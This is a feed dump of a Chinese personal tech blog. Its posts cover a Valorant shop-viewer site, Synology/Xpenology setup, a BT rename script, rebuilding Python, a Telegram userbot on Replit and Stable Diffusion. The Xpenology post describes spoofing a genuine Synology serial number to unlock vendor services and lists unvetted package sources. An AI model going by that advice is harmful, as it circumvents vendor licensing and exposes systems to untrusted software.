def getSkins(self):
data = requests.get(f'{self.server}{Api.owned}{self.user_id}/{Options.skins}', headers=self.__header, timeout=30).json()
skins = data['Entitlements']
owned_skins = []
for skin in skins:
owned_skins.append(skin['ItemID'].upper())
return skins, owned_skins# 这里owned_skins就是已拥有的皮肤列表

def getChromas(self):
data = requests.get(f'{self.server}{Api.owned}{self.user_id}/{Options.chromas}', headers=self.__header, timeout=30).json()
chromas = data['Entitlements']
owned_chromas = []
for chroma in chromas:
owned_chromas.append(chroma['ItemID'].upper())
return chromas, owned_chromas# 这里owned_chromas就是已拥有的炫彩列表

1
2
3
4
5
6
7
8
9
10
11
12
{% if level.updated %} <!-- If this level has been updated, set the color of the button to green -->
<button type="button" class="btn bg-gradient-success" data-bs-toggle="modal"
data-bs-target="#WEAPON-{{level.uuid|escape}}">
{{level.displayName}}: {{level.levelItem}}
</button>
{% else %}
<button type="button" class="btn bg-gradient-primary" data-bs-toggle="modal"
data-bs-target="#WEAPON-{{level.uuid|escape}}">
{{level.displayName}}: {{level.levelItem}}
</button>
{% endif %}

这样就可以达到变绿的效果,而原来的紫色按钮就说明没有购买这个等级/炫彩

在皮肤库/库存中显示价格

首先这个价格的来源就很麻烦。我尝试使用拳头自己的Offer列表去解析价格,但是怎么弄价格都是错的(鬼刀4800那种错误),所以没办法。

后来我找到了VALORANT FANDOM WIKI,里面有各种武器的价格

然后就开始弄解析它那个价格表格的代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def UpdatePriceCache():
print('Start Updating Price Cache')
weapons = [
"Classic", "Shorty", "Frenzy", "Ghost", "Sheriff",
"Stinger", "Spectre",
"Bucky", "Judge",
"Bulldog", "Guardian", "Phantom", "Vandal",
"Marshal", "Operator",
"Ares", "Odin",
"Tactical_Knife"]
base_url = 'https://valorant.fandom.com/wiki' # Get price data from wiki
for weapon in weapons:
print(f'Updating {weapon.replace("_", " ")}')
res = requests.get(f'{base_url}/{weapon}')
html = res.text
soup = BeautifulSoup(html, 'html.parser')
tables = soup.find_all('table', class_='wikitable sortable')
if len(tables) > 0:
table = tables[0]
for row in table.find_all('tr'):
cells = row.find_all('td')
if len(cells) == 0:
continue
content = [cell.text for cell in cells]
# Content Format: [Image, Edition, Collection, Source, Cost/Unlock, (Upgrades), (Chromas)]
if weapon != 'Tactical_Knife':
collection = content[2].replace('\n', '')
source = content[3].replace('\n', '')
unlock = content[4].replace('\n', '')
weapon_name = f'{collection} {weapon}'
else:
collection = content[1].replace('\n', '')
name = content[2].replace('\n', '')
source = content[3].replace('\n', '')
unlock = content[4].replace('\n', '')
weapon_name = f'{collection} {name}'
conn = sqlite3.connect('db/data.db')
c = conn.cursor()
try:
vp_img = '<img src="/assets/img/VP-black.png" width="32px" height="32px">'
if source == 'Store': # This skin can be unlocked through store
c.execute('UPDATE skinlevels SET unlock = ? WHERE name LIKE ?', (f'{vp_img} {unlock}', weapon_name))
else:
c.execute('UPDATE skinlevels SET unlock = ? WHERE name LIKE ?', (f'{source} {unlock}', weapon_name))
except Exception as e:
print(e)
conn.commit()
print(f'{weapon.replace("_", " ")} has been Updated.')

因为价格基本不会改,而且只有拳头出皮肤的时候才会有价格的变动,所以我设置为12小时更新一次了

然后把价格/解锁方式给丢入数据库,渲染HTML的时候把数据取出渲染就是了

FAQ的编写

这个是我去游泳的那天晚上在车上想到的,因为说白了EULA那个东西,是我用生成器弄出来的,其实并不标准,而且我们这个是开源项目,也不是公司什么的那种主体提供的服务,原则上我只需要写个免责声明就行了,但是写个免责声明吧,有感觉好像缺了点什么,最后就决定写个FAQ

所以FAQ在这里啦:https://gamernotitle.notion.site/VALORA-FAQ-86f072f8cebf4a8d9453a795b24cd507

改名风波

嗯没错,VSC改名为了Valora,这是因为@Vanilluv给我发了张图

也不知道是不是这个人开了还是咋的,反正就是被封了,但是本着开发者的态度,他说用了VSC我就去查查是不是我这个,我就去翻数据库(数据库有玩家的ID,小黑盒是可以查玩家的ID的),然后没发现,就说明咱们是清白的

VSC这个名字确实很多东西用,我之前查到过(如图,这还是其中一个)

所以说咱们为了不跟人冲突就改个名字嘛,我就去问ChatGPT了,改什么名字好

  • 我开发了一个查看瓦罗兰特每日商店的网站,请你帮我给这个网站想个名字,要英文的,越短越好,而且要有缩写版

    • How about “ValShop” as the name for your website? It’s short, easy to remember, and has a clear connection to the subject matter. For the abbreviation, you could use “VS” which is simple and recognizable.
  • 换一个

    • Sure, here are a few more suggestions for the name of your website:

      1. “DailyVault”: This name combines “daily” to indicate that the site is updated every day, and “vault” to reference the setting of the game.
      2. “ValoraMart”: This name plays off the popular retail chain Walmart, and incorporates “Valora” to reference the game world.
      3. “ValoraDeals”: This name emphasizes the focus on shopping and finding good deals within the Valoran setting.

      For abbreviations, you could use “DV” for “DailyVault,” “VM” for “ValoraMart,” and “VD” for “ValoraDeals.”

  • 它的功能不只有看商店,也可以查看夜市、查看库存、还有完整的皮肤资料库,请你加上这些依据再想想

    • Thank you for the additional information! Here are some more suggestions for the name of your website, taking into account the expanded functionality:

      1. “ValoraHub”: This name suggests that your website is a central hub or resource for all things related to Valoran commerce, including daily shops, night markets, inventories, and skin information.
      2. “ValoraMarket”: This name emphasizes the commerce aspect of your website, and can encompass both daily shops and night markets, as well as inventory and skin information.
      3. “ValoraVault”: This name plays off the idea of a vault or treasure trove, and suggests that your website is a valuable resource for all things Valoran, including commerce and skin information.

      For abbreviations, you could use “VH” for “ValoraHub,” “VM” for “ValoraMarket,” and “VV” for “ValoraVault.”

  • 缩写请增至三个字母 请你再想想

    • Sure, here are revised names and abbreviations that are three letters long:

      1. “ValHub” (VHB): This name is a shortened version of “ValoraHub” and still suggests that your website is a central resource for all things Valoran, including commerce and skin information.
      2. “ValMar” (VLM): This name is a shortened version of “ValoraMarket” and still emphasizes the commerce aspect of your website, while also encompassing night markets, inventory, and skin information.
      3. “ValVault” (VVT): This name is a shortened version of “ValoraVault” and still plays off the idea of a vault or treasure trove, suggesting that your website is a valuable resource for all things Valoran.

      I hope these suggestions are helpful!

嗯它给我的回答……我觉得很不错,然后最后选择了它在两个字母缩写那里给我起的前缀Valora,简称VLR

Access Token登录

本来这一节是叫做Cookie登录的,但是后来发现再怎么弄Cookie都过不了Cloudflare的WAF那一关,所以还不如直接用access token

确定用Access Token了以后就比较简单了,按照重新认证的思路做就是了,不过这样就会发现,跟账号密码登录出来的功能是有区别的:

  • 获取不到用户的基础信息(用户名和tag)
  • 无法重新获取access_token(即无法保活)

那没办法了,想要安全那得有付出,至少在我能通过WAF之前,这两个东西都不可能做好了……

按钮的点亮条件

我之前是用后端进行限制的,如果没有填写用户名/密码或者不打钩的话就直接弹出提示且不让登陆,不过这样的话说实在的,东西都发出去了,服务器再弹回来,其实就没有发送的必要,然后我就让GPT给我写了对应的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function checkInputs() {
const accessTokenInput = document.getElementById('accesstoken-input');
const userIdInput = document.getElementById('userid-input');
const regionInput = document.getElementById('region-input');
const checkedEULAInput = document.getElementById('checked-eula-input');
const submitButton = document.getElementById('tokenlogin-submit');

// 检查accessToken是否非空
if (accessTokenInput.value.trim() === '') {
submitButton.disabled = true;
return;
}

// 检查userId是否为UUID格式
const uuidRegex = /^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$/;
if (!uuidRegex.test(userIdInput.value)) {
submitButton.disabled = true;
return;
}

// 检查region是否为有效的地区代码
const validRegions = ['ap', 'kr', 'eu', 'na'];
if (!validRegions.includes(regionInput.value.toLowerCase())) {
submitButton.disabled = true;
return;
}

// 检查checkbox是否都勾选
if (!checkedEULAInput.checked) {
submitButton.disabled = true;
return;
}

// 如果所有条件都满足,则去掉按钮的disabled属性
submitButton.disabled = false;
}
function checkLoginInputs() {
const usernameInput = document.getElementsByName('Username')[0];
const passwordInput = document.getElementsByName('Password')[0];
const checkedRuleInput = document.getElementsByName('CheckedRule')[0];
const checkedEULAInput = document.getElementsByName('CheckedEULA')[0];
const submitButton = document.getElementById('login');

// 检查username和password是否非空
if (usernameInput.value.trim() === '' || passwordInput.value.trim() === '') {
submitButton.disabled = true;
return;
}

// 检查checkbox是否都勾选
if (!checkedRuleInput.checked || !checkedEULAInput.checked) {
submitButton.disabled = true;
return;
}

// 如果所有条件都满足,则去掉按钮的disabled属性
submitButton.disabled = false;
}

然后把元素的ID一改,完事!

结语

这个项目真的是从我自己立项开始做到现在,做了两周有多,接下来还有其他的更新,但是也是慢更了,就是那种小小的更新,功能性的除了一个皮肤库还没写以外,我就想不到还能做什么功能了,如果你有好的建议可以在下面评论,我看到会去试试的

如果你想给我赞助,除了访问赞助页面以外,也可以给我的账号充VP(缅甸区),DM(私聊)我我看到会给你发ID的,谢谢!

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + +
+ + + 把群晖打造成BT自动下载服务器 + + https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/ + 2023-04-23T04:04:05.000Z + 2023-07-28T09:54:40.040Z + +

前几天不是把家里的小霸王给改造成了NAS嘛,然后本来就是想架个EMBY然后在家里直接就看番了的,找了一圈发现BT下载是比较好用的,结果下载下来文件名格式又不一样,不符合EMBY的解析要求,于是就有了这篇文章


找种子

我推荐用蜜柑计划 - Mikan Project (mikanani.me)

虽然有时候上不去,但是资源是全的,速度也很不错,可以试试

配置下载

我一开始用的qbitorrent(群晖套件版的),但是那个配置起来超级麻烦,而且发现RSS订阅后不会自动下载(不知道是我的问题还是啥)

然后我记得群晖里有一个自带的Download Station,启动后发现其实它是支持BT下载的

我们找到Download Station,然后打开RSS,在里面添加我们的RSS链接

我这里选的是那种分集用[]给括起来的字幕组(好正则匹配,后面会说为什么要re匹配),直接加进去就行了

然后在下面下载过滤器新建一个过滤器,根据自己的需要填写过滤规则

设置完后,记得在RSS Feeds里面,把之前已经发出来的剧集先根据自己的需要下载好

自动重命名

因为EMBY需要AnimeName SxxExx这样的命名格式,但是字幕组发布的资源命名通常都是乱的,所以我们需要配置一个自动重命名

我先写好了一个Python程序,放在/volume1/Storage/AutoRename/AutoRename.py里面(路径可以自己进SSH去找),内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import sys
import re
import time
import shutil

##### 初始化参数 #####

# 工作目录
workdir = '/volume1/Animes'

# 排除目录
ignoredir = [
'@eaDir',
'#recycle'
]

# 日志目录
logdir = '/volume1/Storage/log/synoscheduler/3'

# 日志保留时长(时间戳差,自己去算)【604800 7天】
logpreserve = 604800

# 更改工作目录
os.chdir(workdir)

# 排除目录函数
def RemoveIgnoreDirs(src: list, ignores: list) -> None:
for ignore in ignores:
try:
src.remove(ignore)
except Exception:
pass

# 移除保留时长外的log文件夹的函数
def RemovePreviousLog(src: list, logpreserve: int) -> None:
toRemove = False
loglist = os.listdir(src)
now = int(time.time())
for log in loglist:
try: logtime = int(log)
except Exception as e:
print(f'{e} when removing {logdir}/{log}')
continue
if now - logtime > logpreserve:
toRemove = True
shutil.rmtree(f'{logdir}/{log}')
print(f'Removed {logdir}/{log}')
if not toRemove:
print('Nothing to remove.')

if __name__ == '__main__':
print(f'{" Renameing Animes ":=^60}')
# 获取目录下所有番剧的名字
animes = os.listdir()
RemoveIgnoreDirs(animes, ignoredir)
for anime in animes:
# 获取番剧的季信息
seasons = os.listdir(f'./{anime}')
RemoveIgnoreDirs(seasons, ignoredir)
for season in seasons:
# 获取番剧每一话
episodes = os.listdir(f'./{anime}/{season}')
RemoveIgnoreDirs(episodes, ignoredir)
for episode in episodes:
try:
episode_num = str(re.search(r'\[[0-9][0-9](\.)?[0-9]?(v)?[0-9]?集?\]', episode).group()).replace('[', '').replace(']', '').replace('v2', '').replace('集', '')
except AttributeError:
print(f'No matching pattern on "{episode}"')
continue
filetype = episode.split('.')[-1]
filename = f'{anime} {season}E{episode_num}.{filetype}'
print(f'Renaming "{episode}" -> {filename}')
os.rename(f'./{anime}/{season}/' + episode, f'./{anime}/{season}/' + filename)
# 移除保留期限外的日志
print(f'\n{" Removing old logs ":=^60}')
RemovePreviousLog(logdir, logpreserve)
# 结束提示
print(f'\n{" Done ":=^60}\n')

这就是为什么选择字幕组的时候我选了分集号用中括号[]括起来的原因

接着我们打开群晖的控制面板,找到任务计划,新建一个任务

点击新增 -> 用户定义的脚本 根据自己的需要创建即可,一开始在任务名称里面会写Task x,这个x就是你的任务号,群晖的任务log会保存在<你指定的目录>/synoscheduler/<ID>这样的位置,所以这个ID记得记下来然后把脚本里面的ID改掉

保存后群晖就会自动执行重命名任务了,当EMBY进行扫描的时候,扫描到命名正确的文件就会自动加入媒体库了

注:EMBY媒体库的结构举例(也是我这个脚本适合的目录结构)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
W:.
├─为美好的世界献上爆焰!
│ └─S01
│ 为美好的世界献上爆焰! S01E01.mp4
│ 为美好的世界献上爆焰! S01E02.mp4

├─勇者死了
│ └─S01
│ 勇者死了 S01E01.mp4
│ 勇者死了 S01E02.mp4

├─总之就是非常可爱
│ └─S02
│ 总之就是非常可爱 S02E01.mp4
│ 总之就是非常可爱 S02E02.mp4

├─我推的孩子
│ └─S01
│ 我推的孩子 S01E01.mp4
│ 我推的孩子 S01E02.mp4

├─第二次被异世界召唤
│ └─S01
│ 第二次被异世界召唤 S01E01.mp4
│ 第二次被异世界召唤 S01E02.mp4

└─英雄联盟:双城之战
└─S01
英雄联盟:双城之战 S01E01.mp4
英雄联盟:双城之战 S01E02.mp4
英雄联盟:双城之战 S01E03.mp4
英雄联盟:双城之战 S01E04.mp4
英雄联盟:双城之战 S01E05.mp4
英雄联盟:双城之战 S01E06.mp4
英雄联盟:双城之战 S01E07.mp4
英雄联盟:双城之战 S01E08.mp4
英雄联盟:双城之战 S01E09.mp4
]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + +
+ + + 在小霸王电脑上安装黑群晖 + + https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/ + 2023-04-13T10:18:35.000Z + 2023-07-28T09:54:40.040Z + +

因为最近想看番,然后发现嗶哩嗶哩没有买几部番(如何看嗶哩嗶哩请见这里),就想着能不能直接用qbitorrent那一套自动订阅,但是吧,自己的电脑又不是天天开着,而且用来下番,游戏啥的还打不打了。这不转个头看到家里闲置的ASUS X455LD笔记本,就想着在上面按个黑群晖

下载并刷入引导

这里用到的是Github上的一个项目:fbelavenuto/arpl: Automated Redpill Loader (github.com)

因为我是安装在物理机上面,所以下的是那个带 img tag的文件,剩下两个VM的是给虚拟机用的

下载后解压,然后掏出我们的老朋友balenaEtcher来把img文件写入U盘(我这个U盘也是个小霸王,金士顿的经典DT 101 G2)

通过引导来编译WIFI固件

我们将U盘插入电脑,然后从U盘启动(记得关掉Secure Boot,我第一次没启动成功然后发现是忘记关Secure Boot了),在这里建议把网线插上,因为这个配置的过程中是不会配置WIFI的

启动的过程中,如果有弹出启动菜单,就直接选择Configure Bootloader就好了,然后会进入配置向导

获取到了IP以后,可以在其他电脑上输入这个地址进入配置,也可以直接输入menu.sh开始配置(我这里因为没有网线所以是插了手机用USB网络共享的)

我这里是直接输入menu.sh进去了,进入menu后我们从上到下依次来

选择型号

这个程序会自动列出你的电脑可用的群晖型号,我这里给我列出了很多

选适合自己的就行了,我这里选了DS3615xs(后面换成DS320+了),这里要记住后面的那个字符串,在下载系统的时候会用到

选择版本

Choose a Build Number里面,我们需要选择一个群晖的版本号,我直接选择了最新的42962,这个版本号要先记住,后面要用

选择序列号

在这个主要是你要不要洗白的问题,要洗白的话就要用白群晖的序列号,我这里是DS3615xs,所以用一个DS3615xs的序列号就可以了,这里我就随机生成一个了

洗白参考:黑群晖洗白介绍:可以让大家使用白群的Quickconnect - 知乎 (zhihu.com)

开始编译

弄完上面这三个,除非你有更多的自定义,否则直接选择Build the loader进行编译就可以了,接着电脑就会自动联网进行资源下载,然后编译,这个过程要等

编译好了以后,如果你的光标停在了Switch direct boot: false上面,按下回车,调成true(没有就不管),然后选择Boot the loader,然后手动重启一下电脑(直接输入reboot就行了,如果无法输入就长按电源键,在这里开始就不推荐使用手机插上去USB网络共享的方法了,因为手机的USB网络共享跟手机的WIFI共享不是一个网域的,会访问不到)

启动完成

启动好了以后,我们记住屏幕显示的IP地址,进入下一节

安装系统

首先你要去群晖官网下载一个系统Synology Archive Download Site - Index of /download/Os/DSM

在这里选择你要下载的版本(系统版本号后面带-的是小更新,我们要选择不带-的)

在这里搜索在型号选择那一节让你记住的字符串,把系统下载下来

然后链接我们的黑群晖(开个浏览器访问IP就行),进入设置向导,安装系统的时候把你的系统导入进去安装就行了

更新后会自动重启,这个开机可能会有点慢,实测我的开机用了2:25

安装套件

在群晖里有套件中心,你可以根据需要来安装你所需要的软件,当然你也可以SSH链接进去,不过群晖是没有apt的,尽管他是Ubuntu衍生

在套件中心,一开始里面的东西会非常少,因为官方没有给我们提供足够的套件,我们可以加入第三方套件源(套件源在下面,安全性不保证,来源于网络)

1
2
3
4
5
6
7
8
1.packages:http://packages.synocommunity.com/?beta=1
2.KS7.0SPK:https://spk7.imnks.com/
3.ACMENet: http://synology.acmenet.ru
4.communitypackage hub:http://www.cphub.net
5.Cambier:https://synology.cambier.org/
6.Dierkse:http://syno.dierkse.nl/
7.FileBot:https://get.filebot.net/syno/
8.Hildinger:http://www.hildinger.us/sspks/

点开套件中心,点击设置,然后添加自己的套件源就行了

添加完了以后,左边会有一个社群,在社群里面就能找到来自第三方软件源的套件了

结尾

黑群晖其实玩玩就好,具体的数据稳定性其实不太确定,因为这个东西毕竟不太稳定(我高一那年弄黑群晖就是数据火葬场),建议用SSH的时候不要乱捣鼓,省的系统崩了

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + +
+ + + 我被微软算账了π_π + + https://bili33.top/posts/My-Office365-is-Down/ + 2023-04-07T01:20:08.000Z + 2023-07-28T09:54:40.040Z + +

先上张图……

没错,这一轮是强制过期,我的邮件上次还跟我说续费到**7/12/2023 (UTC)**,就……很难受

发现这个问题还是群里面有人说了我才知道的,赶紧用其他的outlook账号开个新的订阅然后把数据转移过去

数据转移我用的是mover.io,微软官方其实也有转移的东西但是我没去研究,mover之前跟微软合作所以就一直在用了,结果跑了一个晚上没跑完

有人说是使用了qyi.io的e5续订服务的原因,这个也不清楚,我现在在telegram上看到的都说是随机的,不过我确实两个订阅都寄了,这个确实没办法

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + +
+ + + 记一次更新服务器Python的过程 + + https://bili33.top/posts/Update-Python-on-my-server/ + 2023-03-10T06:54:46.000Z + 2023-07-28T09:54:40.044Z + +

这几天撸了一个Warframe的查询bot(GamerNoTitle/AaTMbot: AaTMbot (Alerts & Tenno’s Market Bot) 是一个与go-cqhttp一起运行的WARFRAME信息查询/推送bot (github.com)),因为自己物理机子用的Python版本是3.10.3,所以干脆就用上了3.10更新的match...case...写法,然鹅就当我写完bot部署到服务器的时候,却发现我的服务器的py还停留在3.8.10,这不就用不了match...case...了吗……所以我决定更新一下我的服务器上面的Python


下载Python

很简单,终端直接wget就行了,链接自己从官网获得

1
$ wget https://www.python.org/ftp/python/3.10.9/Python-3.10.9.tgz

然后我们要解压一下我们的文件,用tar命令

1
$ tar -zxvf Python-*.tgz

然后会得到一个文件夹,我们进入这个文件夹里面,准备编译Python

编译Python

Python源码是要自己编译的,编译成二进制可执行文件才能被我们的系统执行,首先我们要让它自己配置一下

1
$ ./configure --enable-optimizations

等它配置完以后开始编译(没有make的要先装一下,用sudo apt install make -y

1
$ make

这个过程会非常的漫长(主要我服务器性能太低了),等它编译完

进行安装

1
$ sudo make install

完成后,我们还要把原来的Python替换掉

替换Python

先删除原来的Python

1
$ rm /usr/bin/python

然后建立连接

1
2
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python3
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python

这样就完成了

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + + + + + +
+ + + 防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用 + + https://bili33.top/posts/Use-telegram-with-pagermaid/ + 2023-02-02T02:45:52.000Z + 2023-07-28T09:54:40.044Z + +

TeamPGM/PagerMaid-Pyro: Advanced Multi-Featured Telegram UserBot by pyrogram. (github.com)

Replit使用教程 白嫖Repl.it的服务,让你的服务不间断运行 | GamerNoTitle

YouTube参考 橙子知道|教你开启Telegram私聊验证功能,告别垃圾广告信息 - YouTube

先去看Replit的使用教程再来看这个会好一点哦

安装

我们先打开一个Replit实例,创建就好了,类型选到Bash

然后把PagerMaid克隆下来

1
2
3
$ git clone https://github.com/TeamPGM/PagerMaid-Pyro.git
$ mv PagerMaid-Pyro/* .
$ rm -rf PagerMaid-Pyro

然后安装轮子(如果不是在replit运行可以不加--target=.

1
$ pip install -r requirements.txt --target=.

装好了以后,我们还需要修改配置文件

配置

我们先把原来程序给我们的配置文件复制一份

1
$ cp config.gen.yml config.yml

然后打开config.yml文件,改下里面的配置

我们先去Authorization (telegram.org)登录我们的Telegram账号,注册一个应用,这个登录界面的验证码是发到你的Telegram应用里面的,不是短信!

登录进去以后,点API development tools,根据提示注册一个应用

注册完了应该会出现像我这样的页面

我们把App api_idApp api_hash复制下来,填入配置文件中

1
2
3
api_id: "ID_HERE"
api_hash: "HASH_HERE"
qrcode_login: "False"

qrcode_login强烈建议打开,因为你很有可能会收不到验证码,还不如扫个码,打开就填写True

然后找到web_interface配置项,把它打开,可以不用,但是要开,要不然不好保活,host要改成0.0.0.0,密码记得改一下

1
2
3
4
5
6
web_interface:
enable: "True"
secret_key: "RANDOM_STRING_HERE"
host: "0.0.0.0"
port: "3333"
origins: ["*"]

往下的配置根据自己需要修改,一般来说可以不改

接着我们改下main.sh里面的内容,改成下面的内容

1
python -m pagermaid

以便我们一键启动

使用

准备好你的手机(要登陆了Telegram)和一个二维码生成器,我用的草料二维码(没收广告费,确实好用)

Telegram在设置 => 设备 => 登录新客户端,进入扫码模式

然后在控制台打上

1
$ python -m pagermaid

把我们的PagerMaid打开,然后会弹出二维码或者登录链接,你会发现这个二维码显示不全

所以我们需要把登录链接丢进草料二维码生成器里面,生成一个二维码,拿手机扫一下,这个链接的有效时间是20秒,所以需要快一点

登录后如果配置了二步验证密码的话,还需要输入一下密码,出现像我这样的提示就是成功了

我们随便打开一个聊天窗口(建议找个收藏夹或者私聊,因为你发送的内容和PagerMaid给你返回的内容对方是能看到的),输入,help(命令前缀是一个逗号)

会弹出PagerMaid的帮助信息,可以在里面找到命令

插件

回归正题,本来用这个东西就是为了用私聊垃圾信息屏蔽的,现在只是装好了后端,还没有安装屏蔽功能

我们在聊天框输入,apt install pmcaptcha来安装它

然后输入,pmcaptcha show_settings来查看相关的设置,安装好的同时这个功能就已经打开了

当验证失败的时候就会被封禁(使用的是Telegram的Block功能,我这里选的是Sticker验证方式,使用,pmcaptcha change_type sticker就可以换过去了,需要对方发一个Sticker才能通过验证)

还有其他的插件,可以自己去探索。这东西有个web控制台的,可以去看看

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + +
+ + + 白嫖Repl.it的服务,让你的服务不间断运行 + + https://bili33.top/posts/Full-use-of-replit/ + 2023-02-01T13:39:23.000Z + 2023-07-28T09:54:40.040Z + +

之前我用过很多的云平台,什么Azure啦,heroku啦,railway啦之类的,问题是这些平台有些太贵(Azure),有些改了免费策略已经不适合我们这些白嫖党使用(Heroku、Railway),我现在还在用的也就是Glitch(开多个账号,反正一个账号1000H/mo,就是配额太小了)

昨天突然想起telegram有个可以屏蔽垃圾私信的项目(具体可以看另一篇文章),然后又想起之前开发TGbot用过的replit,这不又开始了我的白嫖之旅


Repl.it官网:https://repl.it 或者 https://replit.com

BetterUptime官网:https://betteruptime.com/?ref=88fj (后面是AFF码,不想帮我AFF可以删掉)

基础使用

打开replit,使用你喜欢的方式登录(我用的是Github),然后就会进入主界面

在这里,我们可以点击左边的Create来创建一个实例,里面也有一些模板,可以根据自己的需要创建,我这里就选一个空项目(直接选到bash就行)了

进入到项目的编辑界面,在左边有个Repl Resources可以看到配额,这个配额确实不能说很多

我们点击左边Files右边的三个点,然后点击Show hidden files,把隐藏文件显示打开,肯定会用到的

下面会多出两个东西,一个是.replit,一个是replit.nix,其中,.replit里面存放的是项目的配置,包括启动命令啥的;而replit.nix里面存放的是nix包的信息,你可以在里面增添你想要的包

因为replit是不能使用sudo命令的(特殊手段另说),所以说想要安装新的软件只能通过nix包管理器来加

以pip的安装为例,首先我们在shell里面输入pip的时候会提示未安装,让我们选择需要的pip版本,按需要选择就行

然后nix包就会帮我们自动安装,在replit.nix里面也可以看到加入了一行

1
2
3
4
5
6
7
8
9
{ pkgs }: {
deps = [
pkgs.python39Packages.pip# 新加的一行
pkgs.unzip
pkgs.wget
pkgs.bashInteractive
pkgs.man
];
}

我这里上传一个biliCDN的主页作为演示,需要注意的是,可能是因为replit的nix路径配置问题,直接用pip安装的时候会出现权限不够的问题,所以我们要加入--target=这一个参数来指定安装的目录,我这里直接安装到了当前目录

虽然右边还是报了错,但是左边的目录里面可以看到轮子已经安装完了

这时候,修改一下main.sh里面的内容,改成能启动我们的服务(不建议改.replit里面的内容,容易因为$PATH里面没有加入环境变量而无法启动)

1
$ python app.py

启动完了以后,如果你的是HTTP服务的应用的话,会有一个webview窗口(如图),也会分配一个域名给你,不过可以绑定自定义域名,倒不如说建议绑定自定义域名,分配的repl.co实在是太慢了

应用保活

按照replit的规则,应用如果5分钟闲置就会被休眠(所以推荐在这上面部署HTTP服务,如果是TCP啥的容易活不了)

这里我用了网站监控平台BetterUptime,用法其实跟很多监控平台一样,就是加入自己的网站,然后定时监控

主要是监控的间隔时间要选择3分钟,要不然容易断掉

改完然后保存就行了,然后可以在Panel里面看到刚刚加进去的网站,然后放着不管就行了,只要没有报错的话就不会断掉的撒

费用

]]>
+ + + + + <link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla + + + + + + + + + +
+ + + 关于我玩Stable-diffusion-webui的那些事 + + https://bili33.top/posts/Stable-diffusion-webui-discovery/ + 2023-01-21T05:54:02.000Z + 2023-07-28T09:54:40.040Z + +

前段时间AI制图不是很火嘛,说NovelAI的制图效果可以比得上一些画师,然后当时B站就有很多的用AUTOMATIC1111/stable-diffusion-webui加上一堆模型来生成自己的图片

其实我一开始用的是naifu那一套,就是深紫色UI的那一个(图片在下面),而且是跑在colab上面的,这个跟stable-diffusion比的话没有负面Tag这个说法,就是给想要的图片的关键词,然后生成自己想要的图片

naifu版本

后来看到了Stable-diffusion这一套,换模型啥的会比naifu版更加方便,而且功能也更全面,于是果断转向naifu版

之前是跑在Google Colab上面的,但是最近不知道为什么抽风,stable-diffusion跑不起来(开到一半会自动被KeyboardInterupt),然后我就选择在我电脑上跑了

要是你想在Colab或者Kaggle上面跑的话,我这里也提供下载链接

stable-diffusion-webui 版本:下载链接

naifu-NovelAI 版本:下载链接

安装基本组件

这里我们需要从Github上面把源码给弄下来,打开终端输入

1
$ git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git

然后进入stable-diffusion-webui文件夹,里面应该有几个bat或者sh脚本

Windows用户就逮着bat脚本用就行了,而Linux用户就用sh脚本

我们需要关注的是webui-user.batwebui-user.sh文件,在这两个文件里面我们可以设置我们的各项启动参数,以下以Windows为例

1
2
3
4
5
6
7
8
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=

call webui.bat

初始状态应该跟我一样是什么也没有的,我的电脑用的是NVIDIA Geforce RTX 3060 Laptop 6G显卡,这个显存虽然看起来很大,但是在机器学习这方面简直是不够用,为了避免爆显存,我们可以在COMMANDLINE_ARGS里面加上一些参数

如果你的电脑用的显卡跟我的差不多,那么只用加上一个--medvram就可以了,但如果你的电脑显卡显存小于等于4G,那么我推荐使用--lowvram作为启动参数

这里附上我的启动参数

1
2
3
4
5
6
7
8
9
@echo off

set PYTHON=
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=--deepdanbooru --medvram --no-half-vae
set PYTORCH_CUDA_ALLOC_CONF=garbage_collection_threshold:0.9,max_split_size_mb:64

call webui.bat

这里多的后面会说

